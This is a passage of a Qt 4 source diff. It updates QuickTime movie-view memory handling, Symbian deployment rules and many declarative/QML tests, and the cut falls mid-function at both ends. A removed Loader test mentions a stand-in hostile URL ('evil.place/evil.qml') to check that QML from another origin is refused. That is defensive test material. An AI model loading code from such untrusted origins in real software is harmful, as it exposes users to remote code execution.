eglDestroyImageKHR(QEgl::display(), eglImage); driver.Close(); return reinterpret_cast<void*>(sgImage); +#endif } else if (type == QPixmapData::FbsBitmap) { CFbsBitmap *bitmap = q_check_ptr(new CFbsBitmap); @@ -670,10 +668,7 @@ void* QVGPixmapData::toNativeType(NativeType type) return reinterpret_cast<void*>(bitmap); } -#else - Q_UNUSED(type); return 0; -#endif } #endif //Q_OS_SYMBIAN diff --git a/src/plugins/mediaservices/qt7/qt7movieviewoutput.h b/src/plugins/mediaservices/qt7/qt7movieviewoutput.h index 31a0314..49049ad 100644 --- a/src/plugins/mediaservices/qt7/qt7movieviewoutput.h +++ b/src/plugins/mediaservices/qt7/qt7movieviewoutput.h @@ -100,6 +100,7 @@ private: void *m_movie; void *m_movieView; + bool m_layouted; WId m_winId; QRect m_displayRect; diff --git a/src/plugins/mediaservices/qt7/qt7movieviewoutput.mm b/src/plugins/mediaservices/qt7/qt7movieviewoutput.mm index d8dbf9b..8e4dd9b 100644 --- a/src/plugins/mediaservices/qt7/qt7movieviewoutput.mm +++ b/src/plugins/mediaservices/qt7/qt7movieviewoutput.mm @@ -154,6 +154,7 @@ QT7MovieViewOutput::QT7MovieViewOutput(QObject *parent) :QT7VideoWindowControl(parent), m_movie(0), m_movieView(0), + m_layouted(false), m_winId(0), m_fullscreen(false), m_aspectRatioMode(Qt::KeepAspectRatio), @@ -166,6 +167,8 @@ QT7MovieViewOutput::QT7MovieViewOutput(QObject *parent) QT7MovieViewOutput::~QT7MovieViewOutput() { + [(QTMovieView*)m_movieView release]; + [(QTMovie*)m_movie release]; } void QT7MovieViewOutput::setupVideoOutput() @@ -186,6 +189,7 @@ void QT7MovieViewOutput::setupVideoOutput() [(QTMovieView*)m_movieView setMovie:(QTMovie*)m_movie]; [(NSView *)m_winId addSubview:(QTMovieView*)m_movieView]; + m_layouted = true; setDisplayRect(m_displayRect); } @@ -196,8 +200,21 @@ void QT7MovieViewOutput::setEnabled(bool) void QT7MovieViewOutput::setMovie(void *movie) { - m_movie = movie; - setupVideoOutput(); + if (m_movie != movie) { + if (m_movie) { + if (m_movieView) + [(QTMovieView*)m_movieView setMovie:nil]; + + [(QTMovie*)m_movie release]; + } + + m_movie = movie; + + if (m_movie) + [(QTMovie*)m_movie retain]; + + setupVideoOutput(); + } } void QT7MovieViewOutput::updateNaturalSize(const QSize &newSize) @@ -215,8 +232,15 @@ WId QT7MovieViewOutput::winId() const void QT7MovieViewOutput::setWinId(WId id) { - m_winId = id; - setupVideoOutput(); + if (m_winId != id) { + if (m_movieView && m_layouted) { + [(QTMovieView*)m_movieView removeFromSuperview]; + m_layouted = false; + } + + m_winId = id; + setupVideoOutput(); + } } QRect QT7MovieViewOutput::displayRect() const diff --git a/src/qt3support/network/q3socketdevice_win.cpp b/src/qt3support/network/q3socketdevice_win.cpp index 528b50a..1354cfa 100644 --- a/src/qt3support/network/q3socketdevice_win.cpp +++ b/src/qt3support/network/q3socketdevice_win.cpp @@ -47,7 +47,6 @@ #include <string.h> -# include <qt_windows.h> #if defined (QT_NO_IPV6) # include <winsock.h> #else diff --git a/src/s60installs/s60installs.pro b/src/s60installs/s60installs.pro index db1ee4d..ffd15e6 100644 --- a/src/s60installs/s60installs.pro +++ b/src/s60installs/s60installs.pro @@ -13,9 +13,12 @@ symbian: { TARGET.UID3 = 0x2001E61C # sqlite3 is expected to be already found on phone if infixed configuration is built. + BLD_INF_RULES.prj_exports += \ + "sqlite3.sis $${EPOCROOT}epoc32/data/qt/sis/sqlite3.sis" \ + "sqlite3_selfsigned.sis $${EPOCROOT}epoc32/data/qt/sis/sqlite3_selfsigned.sis" sqlitedeployment = \ "; Deploy sqlite onto phone that does not have it already" \ - "@\"$$PWD/sqlite3.sis\", (0x2002af5f)" + "@\"$${EPOCROOT}epoc32/data/qt/sis/sqlite3.sis\", (0x2002af5f)" qtlibraries.pkg_postrules += sqlitedeployment } else { # Always use experimental UID for infixed configuration to avoid UID clash diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml index 408ad87..d6bfe45 100644 --- a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml +++ b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml @@ -10,7 +10,7 @@ Rectangle { width: 100; height: 100 color: Qt.rgba(1,0,0) Behavior on x { - NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; repeat: true} + NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Animation.Infinite} } } diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp index bce7166..f018ce1 100644 --- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp +++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp @@ -204,9 +204,9 @@ void tst_qdeclarativeanimations::alwaysRunToEnd() animation.setProperty("x"); animation.setTo(200); animation.setDuration(1000); - animation.setRepeat(true); + animation.setLoops(-1); animation.setAlwaysRunToEnd(true); - QVERIFY(animation.repeat() == true); + QVERIFY(animation.loops() == -1); QVERIFY(animation.alwaysRunToEnd() == true); animation.start(); QTest::qWait(1500); diff --git a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp index 04c6710..4beee9a 100644 --- a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp +++ b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp @@ -58,7 +58,10 @@ private slots: void create(); void checkFrontAndBack(); void setFrontAndBack(); - void crash(); + + // below here task issues + void QTBUG_9161_crash(); + void QTBUG_8474_qgv_abort(); private: QDeclarativeEngine engine; @@ -110,7 +113,7 @@ void tst_qdeclarativeflipable::setFrontAndBack() delete obj; } -void tst_qdeclarativeflipable::crash() +void tst_qdeclarativeflipable::QTBUG_9161_crash() { QDeclarativeView *canvas = new QDeclarativeView; canvas->setSource(QUrl(SRCDIR "/data/crash.qml")); @@ -118,6 +121,14 @@ void tst_qdeclarativeflipable::crash() delete canvas; } +void tst_qdeclarativeflipable::QTBUG_8474_qgv_abort() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl(SRCDIR "/data/flipable-abort.qml")); + canvas->show(); + delete canvas; +} + QTEST_MAIN(tst_qdeclarativeflipable) #include "tst_qdeclarativeflipable.moc" diff --git a/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml index da2e8d0..5ce758d 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml @@ -66,4 +66,4 @@ Rectangle { ] } -
\ No newline at end of file + diff --git a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml index 908b365..b272d58 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml @@ -8,13 +8,9 @@ Rectangle { Item { id : wrapper - Script { - function startupFunction() - { - if (index == 5) view.currentIndex = index; - - } - } + function startupFunction() { + if (index == 5) view.currentIndex = index; + } Component.onCompleted: startupFunction(); width: 30; height: 30 Text { text: index } diff --git a/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml b/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml index bf4dd85..5f97408 100644 --- a/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml +++ b/tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml @@ -7,4 +7,4 @@ Item { Item { objectName: "parentItem" } -}
\ No newline at end of file +} diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp index ba69cd8..7665e18 100644 --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp @@ -421,8 +421,8 @@ void tst_QDeclarativeItem::propertyChanges() QVERIFY(parentItem); QSignalSpy parentSpy(item, SIGNAL(parentChanged(QDeclarativeItem *))); - QSignalSpy widthSpy(item, SIGNAL(widthChanged(qreal))); - QSignalSpy heightSpy(item, SIGNAL(heightChanged(qreal))); + QSignalSpy widthSpy(item, SIGNAL(widthChanged())); + QSignalSpy heightSpy(item, SIGNAL(heightChanged())); QSignalSpy baselineOffsetSpy(item, SIGNAL(baselineOffsetChanged(qreal))); QSignalSpy childrenRectSpy(parentItem, SIGNAL(childrenRectChanged(QRectF))); QSignalSpy focusSpy(item, SIGNAL(focusChanged(bool))); @@ -442,15 +442,9 @@ void tst_QDeclarativeItem::propertyChanges() QCOMPARE(item->width(), 100.0); QCOMPARE(widthSpy.count(),1); - QList<QVariant> widthArguments = widthSpy.first(); - QVERIFY(widthArguments.count() == 1); - QCOMPARE(item->width(), widthArguments.at(0).toReal()); QCOMPARE(item->height(), 200.0); QCOMPARE(heightSpy.count(),1); - QList<QVariant> heightArguments = heightSpy.first(); - QVERIFY(heightArguments.count() == 1); - QCOMPARE(item->height(), heightArguments.at(0).toReal()); QCOMPARE(item->baselineOffset(), 10.0); QCOMPARE(baselineOffsetSpy.count(),1); diff --git a/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt new file mode 100644 index 0000000..8b20434 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt @@ -0,0 +1 @@ +4:5:Incorrectly specified signal assignment diff --git a/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml new file mode 100644 index 0000000..c84fea3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml @@ -0,0 +1,7 @@ +import Test 1.0 + +MyQmlObject { + onBasicSignal { + } +} + diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 72b6b28..eae78c4 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -326,9 +326,11 @@ void tst_qdeclarativelanguage::errors_data() QTest::newRow("invalidAttachedProperty.10") << "invalidAttachedProperty.10.qml" << "invalidAttachedProperty.10.errors.txt" << false; QTest::newRow("invalidAttachedProperty.11") << "invalidAttachedProperty.11.qml" << "invalidAttachedProperty.11.errors.txt" << false; + QTest::newRow("emptySignal") << "emptySignal.qml" << "emptySignal.errors.txt" << false; + QTest::newRow("emptySignal.2") << "emptySignal.2.qml" << "emptySignal.2.errors.txt" << false; + QTest::newRow("nestedErrors") << "nestedErrors.qml" << "nestedErrors.errors.txt" << false; QTest::newRow("defaultGrouped") << "defaultGrouped.qml" << "defaultGrouped.errors.txt" << false; - QTest::newRow("emptySignal") << "emptySignal.qml" << "emptySignal.errors.txt" << false; QTest::newRow("doubleSignal") << "doubleSignal.qml" << "doubleSignal.errors.txt" << false; QTest::newRow("invalidRoot") << "invalidRoot.qml" << "invalidRoot.errors.txt" << false; QTest::newRow("missingValueTypeProperty") << "missingValueTypeProperty.qml" << "missingValueTypeProperty.errors.txt" << false; diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 576fe21..fcb453c 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -290,6 +290,8 @@ void tst_QDeclarativeListModel::dynamic_worker_data() void tst_QDeclarativeListModel::dynamic_worker() { + QSKIP("", SkipAll); + QFETCH(QString, script); QFETCH(int, result); QFETCH(QString, warning); @@ -340,6 +342,7 @@ void tst_QDeclarativeListModel::dynamic_worker() void tst_QDeclarativeListModel::convertNestedToFlat_fail() { + QSKIP("", SkipAll); // If a model has nested data, it cannot be used at all from a worker script QFETCH(QString, script); @@ -384,6 +387,7 @@ void tst_QDeclarativeListModel::convertNestedToFlat_fail_data() void tst_QDeclarativeListModel::convertNestedToFlat_ok() { + QSKIP("", SkipAll); // If a model only has plain data, it can be modified from a worker script. However, // once the model is used from a worker script, it no longer accepts nested data diff --git a/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml index a41f003..09877ac 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml @@ -68,4 +68,4 @@ Rectangle { ] } -
\ No newline at end of file + diff --git a/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml new file mode 100644 index 0000000..da4f6cb --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Rectangle { + width: 100; height: 100; color: "red" + signal somethingHappened + onSomethingHappened: QtObject {} +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml new file mode 100644 index 0000000..f42c1d5 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml @@ -0,0 +1,5 @@ +import Qt 4.6 + +Loader { + sourceComponent: QtObject {} +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml new file mode 100644 index 0000000..782562b --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml @@ -0,0 +1,6 @@ +import Qt 4.6 + +Loader { + source: "VmeError.qml" +} + diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 0deac3a..a745a24 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -86,11 +86,11 @@ private slots: void noResizeGraphicsWidget(); void networkRequestUrl(); void failNetworkRequest(); - void networkSafety(); - void networkSafety_data(); // void networkComponent(); void deleteComponentCrash(); + void nonItem(); + void vmeErrors(); private: QDeclarativeEngine engine; @@ -466,7 +466,7 @@ void tst_QDeclarativeLoader::failNetworkRequest() // QTBUG-9241 void tst_QDeclarativeLoader::deleteComponentCrash() { - QDeclarativeComponent component(&engine, TEST_FILE("/crash.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("crash.qml")); QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create()); QVERIFY(item); @@ -479,43 +479,32 @@ void tst_QDeclarativeLoader::deleteComponentCrash() QCOMPARE(loader->progress(), 1.0); QCOMPARE(loader->status(), QDeclarativeLoader::Ready); QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1); - QEXPECT_FAIL("", "QTBUG-9245", Continue); QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml")); delete item; } -void tst_QDeclarativeLoader::networkSafety_data() +void tst_QDeclarativeLoader::nonItem() { - QTest::addColumn<QUrl>("url"); - QTest::addColumn<QString>("message"); + QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml")); + QString err = QString("QML Loader (") + QUrl::fromLocalFile(SRCDIR).toString() + QString("/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); - QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString(); - QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString(" QUrl( \"http://evil.place/evil.qml\" ) is not a safe origin from QUrl( \"http://127.0.0.1:14445/differentorigin.qml\" ) "); + QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData()); + QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create()); + QVERIFY(loader); + QVERIFY(loader->item() == 0); + + delete loader; } -void tst_QDeclarativeLoader::networkSafety() +void tst_QDeclarativeLoader::vmeErrors() { - TestHTTPServer server(SERVER_PORT); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QFETCH(QUrl, url); - QFETCH(QString, message); - - if (!message.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, message.toLatin1()); - - QDeclarativeComponent component(&engine, url); - TRY_WAIT(component.status() == QDeclarativeComponent::Ready); + QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml")); + QString err = QString("(") + QUrl::fromLocalFile(SRCDIR).toString() + QString("/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) "); + QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData()); QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create()); - QVERIFY(loader != 0); - - if (message.isEmpty()) { - TRY_WAIT(loader->status() == QDeclarativeLoader::Ready); - } else { - TRY_WAIT(loader->status() == QDeclarativeLoader::Null); - } + QVERIFY(loader); + QVERIFY(loader->item() == 0); delete loader; } diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml index ae0c86a..8e2c251 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/pathview0.qml @@ -49,6 +49,11 @@ Rectangle { model: testModel delegate: delegate snapPosition: 0.0001 + highlight: Rectangle { + width: 60 + height: 20 + color: "yellow" + } path: Path { startY: 120 startX: 160 diff --git a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml index 70cfbcd..f1bc66e 100644 --- a/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml +++ b/tests/auto/declarative/qdeclarativepathview/data/pathview3.qml @@ -2,7 +2,7 @@ import Qt 4.6 PathView { id: photoPathView - y: 100; width: 800; height: 330; pathItemCount: 4; offset: 0.1 + y: 100; width: 800; height: 330; pathItemCount: 4; offset: 1 dragMargin: 24; snapPosition: 0.50 path: Path { diff --git a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp index c16c46f..6d7cc0d 100644 --- a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp +++ b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp @@ -219,7 +219,7 @@ void tst_QDeclarativePathView::items() QDeclarativePathView *pathview = findItem<QDeclarativePathView>(canvas->rootObject(), "view"); QVERIFY(pathview != 0); - QCOMPARE(pathview->childItems().count(), model.count()); // assumes all are visible + QCOMPARE(pathview->childItems().count(), model.count()+1); // assumes all are visible, including highlight for (int i = 0; i < model.count(); ++i) { QDeclarativeText *name = findItem<QDeclarativeText>(pathview, "textName", i); @@ -230,6 +230,16 @@ void tst_QDeclarativePathView::items() QCOMPARE(number->text(), model.number(i)); } + QDeclarativePath *path = qobject_cast<QDeclarativePath*>(pathview->path()); + QVERIFY(path); + + QVERIFY(pathview->highlightItem()); + QPointF start = path->pointAt(0.0); + QPointF offset; + offset.setX(pathview->highlightItem()->width()/2); + offset.setY(pathview->highlightItem()->height()/2); + QCOMPARE(pathview->highlightItem()->pos() + offset, start); + delete canvas; } @@ -262,8 +272,8 @@ void tst_QDeclarativePathView::pathview3() QVERIFY(obj->delegate() != 0); QVERIFY(obj->model() != QVariant()); QCOMPARE(obj->currentIndex(), 0); - QCOMPARE(obj->offset(), 0.5); // ??? - QCOMPARE(obj->snapPosition(), 0.5); // ??? + QCOMPARE(obj->offset(), 1.0); + QCOMPARE(obj->snapPosition(), 0.5); QCOMPARE(obj->dragMargin(), 24.); QCOMPARE(obj->count(), 8); QCOMPARE(obj->pathItemCount(), 4); @@ -422,14 +432,14 @@ void tst_QDeclarativePathView::pathMoved() offset.setX(firstItem->width()/2); offset.setY(firstItem->height()/2); QCOMPARE(firstItem->pos() + offset, start); - pathview->setOffset(0.1); + pathview->setOffset(1.0); for(int i=0; i<model.count(); i++){ QDeclarativeRectangle *curItem = findItem<QDeclarativeRectangle>(pathview, "wrapper", i); - QCOMPARE(curItem->pos() + offset, path->pointAt(0.1 + i*0.25)); + QCOMPARE(curItem->pos() + offset, path->pointAt(0.25 + i*0.25)); } - pathview->setOffset(1.0); + pathview->setOffset(0.0); QCOMPARE(firstItem->pos() + offset, start); delete canvas; diff --git a/tests/auto/declarative/qdeclarativerepeater/data/properties.qml b/tests/auto/declarative/qdeclarativerepeater/data/properties.qml index 550ce8d..8c9f88e 100644 --- a/tests/auto/declarative/qdeclarativerepeater/data/properties.qml +++ b/tests/auto/declarative/qdeclarativerepeater/data/properties.qml @@ -8,4 +8,4 @@ Row { text: "I'm item " + index } } -}
\ No newline at end of file +} diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml index 7dce889..5443e54 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml @@ -16,8 +16,8 @@ Rectangle { AnchorChanges { id: ancCh target: myRect; - reset: "left" - right: container.right + anchors.left: undefined + anchors.right: container.right } } } diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml index 545345e..56de560 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml @@ -14,8 +14,8 @@ Rectangle { name: "right" AnchorChanges { target: myRect; - reset: "left" - right: parent.right + anchors.left: undefined + anchors.right: parent.right } } } diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml index 9d5b317..59c3c06 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml @@ -20,10 +20,10 @@ Rectangle { name: "reanchored" AnchorChanges { target: myRect; - left: leftGuideline.left - right: container.right - top: container.top - bottom: bottomGuideline.bottom + anchors.left: leftGuideline.left + anchors.right: container.right + anchors.top: container.top + anchors.bottom: bottomGuideline.bottom } } } diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml index f128989..7e3ba1c 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml @@ -15,8 +15,8 @@ Rectangle { name: "reanchored" AnchorChanges { target: myRect; - horizontalCenter: bottomGuideline.horizontalCenter - verticalCenter: leftGuideline.verticalCenter + anchors.horizontalCenter: bottomGuideline.horizontalCenter + anchors.verticalCenter: leftGuideline.verticalCenter } } } diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml index 4e6d34b..b85a922 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml @@ -15,8 +15,8 @@ Rectangle { name: "reanchored" AnchorChanges { target: myRect; - horizontalCenter: bottomGuideline.horizontalCenter - baseline: leftGuideline.baseline + anchors.horizontalCenter: bottomGuideline.horizontalCenter + anchors.baseline: leftGuideline.baseline } } } diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp index 91883c9..2ab21a4 100644 --- a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp +++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp @@ -564,10 +564,10 @@ void tst_qdeclarativestates::anchorChanges() rect->setState("right"); QCOMPARE(innerRect->x(), qreal(150)); - QCOMPARE(aChanges->reset(), QString("left")); + QCOMPARE(aChanges->anchors()->left().anchorLine, QDeclarativeAnchorLine::Invalid); //### was reset (how do we distinguish from not set at all) QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect)); - QCOMPARE(aChanges->right().item, rect->right().item); - QCOMPARE(aChanges->right().anchorLine, rect->right().anchorLine); + QCOMPARE(aChanges->anchors()->right().item, rect->right().item); + QCOMPARE(aChanges->anchors()->right().anchorLine, rect->right().anchorLine); rect->setState(""); QCOMPARE(innerRect->x(), qreal(5)); @@ -623,14 +623,14 @@ void tst_qdeclarativestates::anchorChanges3() rect->setState("reanchored"); QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect)); - QCOMPARE(aChanges->left().item, leftGuideline->left().item); - QCOMPARE(aChanges->left().anchorLine, leftGuideline->left().anchorLine); - QCOMPARE(aChanges->right().item, rect->right().item); - QCOMPARE(aChanges->right().anchorLine, rect->right().anchorLine); - QCOMPARE(aChanges->top().item, rect->top().item); - QCOMPARE(aChanges->top().anchorLine, rect->top().anchorLine); - QCOMPARE(aChanges->bottom().item, bottomGuideline->bottom().item); - QCOMPARE(aChanges->bottom().anchorLine, bottomGuideline->bottom().anchorLine); + QCOMPARE(aChanges->anchors()->left().item, leftGuideline->left().item); + QCOMPARE(aChanges->anchors()->left().anchorLine, leftGuideline->left().anchorLine); + QCOMPARE(aChanges->anchors()->right().item, rect->right().item); + QCOMPARE(aChanges->anchors()->right().anchorLine, rect->right().anchorLine); + QCOMPARE(aChanges->anchors()->top().item, rect->top().item); + QCOMPARE(aChanges->anchors()->top().anchorLine, rect->top().anchorLine); + QCOMPARE(aChanges->anchors()->bottom().item, bottomGuideline->bottom().item); + QCOMPARE(aChanges->anchors()->bottom().anchorLine, bottomGuideline->bottom().anchorLine); QCOMPARE(innerRect->x(), qreal(10)); QCOMPARE(innerRect->y(), qreal(0)); @@ -673,10 +673,10 @@ void tst_qdeclarativestates::anchorChanges4() rect->setState("reanchored"); QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect)); - QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); - QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); - QCOMPARE(aChanges->verticalCenter().item, leftGuideline->verticalCenter().item); - QCOMPARE(aChanges->verticalCenter().anchorLine, leftGuideline->verticalCenter().anchorLine); + QCOMPARE(aChanges->anchors()->horizontalCenter().item, bottomGuideline->horizontalCenter().item); + QCOMPARE(aChanges->anchors()->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); + QCOMPARE(aChanges->anchors()->verticalCenter().item, leftGuideline->verticalCenter().item); + QCOMPARE(aChanges->anchors()->verticalCenter().anchorLine, leftGuideline->verticalCenter().anchorLine); delete rect; } @@ -708,10 +708,10 @@ void tst_qdeclarativestates::anchorChanges5() rect->setState("reanchored"); QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect)); - QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); - QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); - QCOMPARE(aChanges->baseline().item, leftGuideline->baseline().item); - QCOMPARE(aChanges->baseline().anchorLine, leftGuideline->baseline().anchorLine); + QCOMPARE(aChanges->anchors()->horizontalCenter().item, bottomGuideline->horizontalCenter().item); + QCOMPARE(aChanges->anchors()->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); + QCOMPARE(aChanges->anchors()->baseline().item, leftGuideline->baseline().item); + QCOMPARE(aChanges->anchors()->baseline().anchorLine, leftGuideline->baseline().anchorLine); delete rect; } diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp index 0e5e1b0..81cc922 100644 --- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp @@ -74,6 +74,8 @@ private slots: void useKeys_data(); void noKeysValueChanges(); void keysChanged(); + void threading(); + void threading_data(); void propertyChanges(); private: @@ -86,6 +88,8 @@ private: if (!data.isEmpty()) { QStringList items = data.split(";"); foreach(const QString &item, items) { + if (item.isEmpty()) + continue; QVariantList variants; xml += QLatin1String("<item>"); QStringList fields = item.split(","); @@ -505,6 +509,63 @@ void tst_qdeclarativexmllistmodel::keysChanged() delete model; } +void tst_qdeclarativexmllistmodel::threading() +{ + QFETCH(int, xmlDataCount); + + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml")); + + QDeclarativeXmlListModel *m1 = qobject_cast<QDeclarativeXmlListModel*>(component.create()); + QVERIFY(m1 != 0); + QDeclarativeXmlListModel *m2 = qobject_cast<QDeclarativeXmlListModel*>(component.create()); + QVERIFY(m2 != 0); + 